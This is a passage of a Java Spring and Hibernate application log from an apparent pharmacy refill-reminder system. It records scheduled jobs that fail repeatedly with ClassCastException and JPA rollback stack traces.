org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 19:35:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 19:35:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 19:35:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 19:40:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 19:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 19:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 19:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 19:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 19:40:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 19:40:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 19:40:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 19:40:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 19:40:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 19:40:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 19:40:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 19:40:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 19:40:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 19:45:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 19:45:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 19:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 19:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 19:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 19:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 19:45:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 19:45:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 19:45:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 19:45:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 19:45:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 19:45:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 19:45:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 19:45:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 19:50:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 19:50:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 19:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 19:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 19:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 19:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 19:50:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 19:50:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 19:50:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 19:50:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 19:50:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 19:50:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 19:50:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 19:50:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 19:55:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 19:55:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at 